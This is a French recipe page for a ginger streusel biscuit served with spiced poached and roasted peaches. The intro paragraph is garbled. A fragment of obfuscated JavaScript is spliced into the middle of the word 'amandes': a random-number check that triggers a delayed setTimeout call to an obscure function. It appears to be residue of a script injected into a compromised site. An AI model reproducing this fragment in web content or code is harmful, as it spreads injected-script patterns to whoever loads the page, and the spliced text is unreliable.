Struzel au gingembre et pêches rôties
2017-12-24- Cuisine : Biscuit
- Thématique : Recettes pour enfants, Végétarien
- Niveau : Difficile
Dans un récipient mélangez le beurre, le sucre, la cassonade, la farine, le gingembre et la poudre d’amandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes. Travaillez la pâte avec le bout des doigts pour obtenir un appareil homogène. Placez au frais pendant 3 heures minimum.
Ingrédients
- Pour 4 personnes
- 2 pêches blanches
- 90 g de beurre ramolli
- 6 cuillères à soupe de sucre en poudre
- 1 cuillère à soupe de cassonade
- 80 g de farine
- 2 cuillères à soupe d’amandes en poudre
- 4 pincées de gingembre en poudre ou râpé
- 2 cuillerées à soupe d’épices :
- Poivre noir en grains
- Cannelle en poudre
- Anis vert en grains
Préparation de la recette
Etape 1
Dans un récipient mélangez le beurre, le sucre, la cassonade, la farine, le gingembre et la poudre d’amandes.
Etape 2
Travaillez la pâte avec le bout des doigts pour obtenir un appareil homogène. Placez au frais pendant 3 heures minimum.
Etape 3
Préchauffez le four à 180°C thermostat 6 . Pelez, coupez en deux les pêches. Ôtez le noyau. Versez 50 cl d’eau dans une casserole.
Etape 4
Portez à ébullition, jetez les épices moulues, et faites pocher les pêches pendant 5 minutes.
Etape 5
Arrêtez la cuisson et laisser infuser à couvert. Égouttez les fruits et faites-les dorer dans du beurre. Réservez au chaud.
Etape 6
Étalez la pâte et découpez 4 cercles de 5 cm de diamètre à l’aide d’un emporte-pièce et enfournez 5 minutes. Dressez sur des assiettes. Tranchez chaque demi pêche en fines lanières.
Etape 7
Placez au centre un cercle de pâte et déposez dessus les tranches de fruits. Saupoudrez d’épices et servez.
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